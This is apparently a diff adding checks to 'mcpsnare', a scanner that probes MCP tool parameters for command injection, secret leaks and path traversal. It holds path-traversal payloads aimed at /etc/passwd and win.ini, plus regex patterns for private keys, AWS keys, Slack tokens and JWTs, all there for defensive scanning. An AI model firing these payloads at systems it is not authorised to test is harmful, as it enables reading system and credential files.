52
+ if probe.token and ctx.oob and ctx.oob.interactions(probe.token):
53
+ return self._finding(probe, Confidence.CONFIRMED,
54
+ f"OOB callback received for payload {probe.payload!r}")
55
+ if probe.meta.get("time_based"):
56
+ elapsed = probe.meta.get("elapsed", 0)
57
+ sleep_s = probe.meta["threshold"]
58
+ baseline = getattr(ctx, "baseline", None)
59
+ if baseline is not None:
60
+ margin = max(baseline.latency + sleep_s * 0.8, baseline.latency * _LATENCY_MULT)
61
+ evidence = f"response delayed {elapsed:.1f}s vs baseline {baseline.latency:.1f}s"
62
+ else:
63
+ margin = sleep_s # no calibration: fall back to the fixed threshold
64
+ evidence = f"response delayed {elapsed:.1f}s"
65
+ if elapsed >= margin:
66
+ return self._finding(probe, Confidence.FIRM, evidence)
67
+ return None
68
+ def _finding(self, probe, conf, evidence):
69
+ return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
70
+ severity=Severity.CRITICAL, confidence=conf, cwe="CWE-78",
71
+ title=f"Command injection in {probe.point.tool}.{probe.point.param_name}",
72
+ payload=probe.payload, evidence=evidence,
73
+ remediation="Never pass tool input to a shell; use exec with arg arrays / allowlists.")
@@ -0,0 +1,43 @@
1
+ import re
2
+ from mcpsnare.models import Probe, Finding, Severity, Confidence
3
+ from mcpsnare.checks.base import register
4
+
5
+ _MARKERS = [re.compile(p) for p in [
6
+ r"-----BEGIN [A-Z ]*PRIVATE KEY-----", r"AKIA[0-9A-Z]{16}",
7
+ r"(?i)api[_-]?key\s*[=:]\s*\S+", r"(?i)secret\s*[=:]\s*\S+",
8
+ r"xox[baprs]-[0-9A-Za-z-]+", r"eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\."]]
9
+
10
+
11
+ @register
12
+ class InfoLeak:
13
+ id = "info_leak"
14
+ def generate(self, point, ctx):
15
+ return [Probe(check=self.id, point=point, payload="mcpsnare-probe",
16
+ args=point.set("mcpsnare-probe"))]
17
+ def evaluate(self, probe, response, ctx):
18
+ hits = [m.pattern for m in _MARKERS if m.search(response or "")]
19
+ if not hits:
20
+ return None
21
+ baseline = getattr(ctx, "baseline", None)
22
+ if baseline is not None:
23
+ # Diff by which PATTERN matched, not the matched substring: this favors FP
24
+ # elimination (a docs tool with a fixed example key is suppressed). Known
25
+ # trade-off (disclosed in docs/claims-matrix.md): a baseline placeholder and
26
+ # a real leak of the SAME shape both match one pattern, so such a leak is missed.
27
+ base_hits = {m.pattern for m in _MARKERS if m.search(baseline.response or "")}
28
+ triggered = [h for h in hits if h not in base_hits]
29
+ if not triggered:
30
+ return None # secrets also present in benign baseline = normal output, not a leak
31
+ return self._finding(probe, Confidence.FIRM,
32
+ f"secret-shaped match triggered by input (absent in baseline): {triggered}")
33
+ if len(hits) >= 2:
34
+ return self._finding(probe, Confidence.TENTATIVE,
35
+ f"secret-shaped pattern match (no baseline to diff): {hits}")
36
+ return None
37
+
38
+ def _finding(self, probe, conf, evidence):
39
+ return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
40
+ severity=Severity.HIGH, confidence=conf, cwe="CWE-200",
41
+ title=f"Secret/info leak via {probe.point.tool}",
42
+ payload=probe.payload, evidence=evidence,
43
+ remediation="Never return secrets/credentials in tool output or errors.")
@@ -0,0 +1,25 @@
1
+ import re
2
+ from mcpsnare.models import Probe, Finding, Severity, Confidence
3
+ from mcpsnare.checks.base import register
4
+
5
+ _PAYLOADS = ["../../../../../../etc/passwd",
6
+ "..\\..\\..\\..\\..\\..\\windows\\win.ini"]
7
+ _CANARY = re.compile(r"root:x:0:0:|\[fonts\]", re.IGNORECASE)
8
+
9
+
10
+ @register
11
+ class PathTraversal:
12
+ id = "path_traversal"
13
+ def generate(self, point, ctx):
14
+ out = []
15
+ for pl in _PAYLOADS:
16
+ out.append(Probe(check=self.id, point=point, payload=pl, args=point.set(pl)))
17
+ return out
18
+ def evaluate(self, probe, response, ctx):
19
+ if _CANARY.search(response or ""):
20
+ return Finding(check=self.id, tool=probe.point.tool, param=probe.point.param_name,
21
+ severity=Severity.HIGH, confidence=Confidence.CONFIRMED, cwe="CWE-22",
22
+ title=f"Path traversal in {probe.point.tool}.{probe.point.param_name}",
23
+ payload=probe.payload, evidence=(response or "")[:200],
24
+ remediation="Resolve and contain paths within an allowed base dir.")
25
+ return None